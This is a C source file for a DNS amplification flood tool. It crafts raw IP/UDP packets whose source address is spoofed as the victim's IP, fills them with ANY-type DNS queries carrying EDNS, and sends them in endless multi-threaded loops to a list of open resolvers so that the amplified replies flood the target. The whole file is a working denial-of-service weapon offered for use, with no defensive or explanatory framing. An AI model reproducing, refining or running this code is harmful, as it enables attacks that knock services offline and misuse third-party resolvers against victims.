#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>

#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
#define PACKETS_PER_RESOLVER 5

static uint32_t Q[4096], c = 362436;

struct list
{
                struct sockaddr_in data;
                char domain[256];
                int line;
                struct list *next;
                struct list *prev;
};
struct list *head;

struct thread_data{
                int thread_id;
                struct list *list_node;
                struct sockaddr_in sin;
                int port;
};

struct DNS_HEADER
{
                unsigned short id; // identification number

                unsigned char rd :1; // recursion desired
                unsigned char tc :1; // truncated message
                unsigned char aa :1; // authoritive answer
                unsigned char opcode :4; // purpose of message
                unsigned char qr :1; // query/response flag

                unsigned char rcode :4; // response code
                unsigned char cd :1; // checking disabled
                unsigned char ad :1; // authenticated data
                unsigned char z :1; // its z! reserved
                unsigned char ra :1; // recursion available

                unsigned short q_count; // number of question entries
                unsigned short ans_count; // number of answer entries
                unsigned short auth_count; // number of authority entries
                unsigned short add_count; // number of resource entries
};

//Constant sized fields of query structure
struct QUESTION
{
        unsigned short qtype;
        unsigned short qclass;
};

//Constant sized fields of the resource record structure
struct QUERY
{
                unsigned char *name;
                struct QUESTION *ques;
};

void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
{
                int lock = 0 , i;
                strcat((char*)host,".");

                for(i = 0 ; i < strlen((char*)host) ; i++)
                {
                                if(host[i]=='.')
                                {
                                                *dns++ = i-lock;
                                                for(;lock<i;lock++)
                                                {
                                                                *dns++=host[lock];
                                                }
                                                lock++; //or lock=i+1;
                                }
                }
                *dns++='\0';
}

void init_rand(uint32_t x)
{
                int i;

                Q[0] = x;
                Q[1] = x + PHI;
                Q[2] = x + PHI + PHI;

                for (i = 3; i < 4096; i++)
                Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}

uint32_t rand_cmwc(void)
{
                uint64_t t, a = 18782LL;
                static uint32_t i = 4095;
                uint32_t x, r = 0xfffffffe;
                i = (i + 1) & 4095;
                t = a * Q[i] + c;
                c = (t >> 32);
                x = t + c;
                if (x < c) {
                                x++;
                                c++;
                }
                return (Q[i] = r - x);
}

/* function for header checksums */
unsigned short csum (unsigned short *buf, int nwords)
{
                unsigned long sum;
                for (sum = 0; nwords > 0; nwords--)
                sum += *buf++;
                sum = (sum >> 16) + (sum & 0xffff);
                sum += (sum >> 16);
                return (unsigned short)(~sum);
}

void setup_udp_header(struct udphdr *udph)
{

}

void *flood(void *par1)
{
                struct thread_data *td = (struct thread_data *)par1;

                fprintf(stdout, "Thread %d started\n", td->thread_id);

                char strPacket[MAX_PACKET_SIZE];
                int iPayloadSize = 0;

                struct sockaddr_in sin = td->sin;
                struct list *list_node = td->list_node;
                int iPort = td->port;

                int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
                if(s < 0)
                {
                        fprintf(stderr, "Could not open raw socket. You need to be root!\n");
                        exit(-1);
                }

                //init random
                init_rand(time(NULL));

                // Clear the data
                memset(strPacket, 0, MAX_PACKET_SIZE);

                // Make the packet
                struct iphdr *iph = (struct iphdr *) &strPacket;
                iph->ihl = 5;
                iph->version = 4;
                iph->tos = 0;
                iph->tot_len = sizeof(struct iphdr) + 38;
                iph->id = htonl(54321);
                iph->frag_off = 0;
                iph->ttl = MAXTTL;
                iph->protocol = IPPROTO_UDP;
                iph->check = 0;
                iph->saddr = inet_addr("192.168.3.100");

                iPayloadSize += sizeof(struct iphdr);


                struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
                udph->source = htons(iPort);
                udph->dest = htons(53);
                udph->check = 0;

                iPayloadSize += sizeof(struct udphdr);

                struct DNS_HEADER *dns  = (struct DNS_HEADER *) &strPacket[iPayloadSize];
                dns->id = (unsigned short) htons(rand_cmwc());
                dns->qr = 0; //This is a query
                dns->opcode = 0; //This is a standard query
                dns->aa = 0; //Not Authoritative
                dns->tc = 0; //This message is not truncated
                dns->rd = 1; //Recursion Desired
                dns->ra = 0; //Recursion not available! hey we dont have it (lol)
                dns->z = 0;
                dns->ad = 0;
                dns->cd = 0;
                dns->rcode = 0;
                dns->q_count = htons(1); //we have only 1 question
                dns->ans_count = 0;
                dns->auth_count = 0;
                dns->add_count = htons(1);

                iPayloadSize += sizeof(struct DNS_HEADER);

                sin.sin_port = udph->source;
                iph->saddr = sin.sin_addr.s_addr;
                iph->daddr = list_node->data.sin_addr.s_addr;
                iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);


                char strDomain[256];
                int i;
                int iAdditionalSize = 0;
                while(1)
                {
						usleep(0);
                        //set the next node
                        list_node = list_node->next;

                        //Clear the old domain and question
                        memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize);

                        //add the chosen domain and question
                        iAdditionalSize = 0;

                        unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];

                        strcpy(strDomain, list_node->domain);
                        ChangetoDnsNameFormat(qname, strDomain);
                        //printf("!!%s %d\n", list_node->domain, list_node->line);

                        iAdditionalSize += strlen(qname) + 1;

                        struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
                        qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
                        qinfo->qclass = htons(1);

                        iAdditionalSize += sizeof(struct QUESTION);

                      void *edns = (void *) &strPacket[iPayloadSize + iAdditionalSize];
                memset(edns+2, 0x29, 1);
                memset(edns+3, 0x23, 1);
                memset(edns+4, 0x28, 1);


                        iAdditionalSize += 11;

                        //set new node data
                        iph->daddr = list_node->data.sin_addr.s_addr;

                        udph->len= htons((iPayloadSize + iAdditionalSize + 5) - sizeof(struct iphdr));
                        iph->tot_len = iPayloadSize + iAdditionalSize + 5;

                        udph->source = htons(rand_cmwc() & 0xFFFF);
                        iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);

                        //send
                        for(i = 0; i < PACKETS_PER_RESOLVER; i++)
                        {
                                sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
                        }
                }
}

void ParseResolverLine(char *strLine, int iLine)
{
        char caIP[32] = "";
        char caDNS[512] = "";

        int i;
        char buffer[512] = "";

        int moved = 0;

        for(i = 0; i < strlen(strLine); i++)
        {
                if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
                {
                        moved++;
                        continue;
                }

                if(moved == 0)
                {
                        caIP[strlen(caIP)] = (char) strLine[i];
                }
                else if(moved == 1)
                {
                        caDNS[strlen(caDNS)] = (char) strLine[i];
                }
        }

        //printf("Found resolver %s, domain %s!\n", caIP, caDNS);

        if(head == NULL)
        {
                head = (struct list *)malloc(sizeof(struct list));

                bzero(&head->data, sizeof(head->data));

                head->data.sin_addr.s_addr=inet_addr(caIP);
                head->data.sin_port=htons(53);
                strcpy(head->domain, caDNS);
                head->line = iLine;
                head->next = head;
                head->prev = head;
        }
        else
        {
                struct list *new_node = (struct list *)malloc(sizeof(struct list));

                memset(new_node, 0x00, sizeof(struct list));

                new_node->data.sin_addr.s_addr=inet_addr(caIP);
                new_node->data.sin_port=htons(53);
                strcpy(new_node->domain, caDNS);
                new_node->prev = head;
                head->line = iLine;
                new_node->next = head->next;
                head->next = new_node;
        }
}

int main(int argc, char *argv[ ])
{
        if(argc < 4)
        {
                fprintf(stderr, "Invalid parameters!\n");
                fprintf(stdout, "Usage: %s <target IP/hostname> <port to hit> <reflection file> <number threads to use> <time (optional)>\n", argv[0]);
                exit(-1);
        }

        head = NULL;

        char *strLine = (char *) malloc(256);
        strLine = memset(strLine, 0x00, 256);

        char strIP[32] = "";
        char strDomain[256] = "";

        int iLine = 0; // 0 = ip, 1 = domain.

        FILE *list_fd = fopen(argv[3],  "r");
        while(fgets(strLine, 256, list_fd) != NULL)
        {
                ParseResolverLine(strLine, iLine);
                iLine++;
        }


        int i = 0;
        int num_threads = atoi(argv[4]);

        struct list *current = head->next;
        pthread_t thread[num_threads];
        struct sockaddr_in sin;
        sin.sin_family = AF_INET;
        sin.sin_port = htons(0);
        sin.sin_addr.s_addr = inet_addr(argv[1]);
        struct thread_data td[num_threads];

        int iPort = atoi(argv[2]);

		printf("Flooding %s\n", argv[1], iPort);

        for(i = 0; i < num_threads; i++)
        {
                td[i].thread_id = i;
                td[i].sin= sin;
                td[i].list_node = current;
                td[i].port = iPort;
                pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
        }

        fprintf(stdout, "Starting Flood...\n");

        if(argc > 4)
        {
                sleep(atoi(argv[5]));
        }
        else
        {
                while(1)
                {
                        sleep(1);
                }
        }

        return 0;
}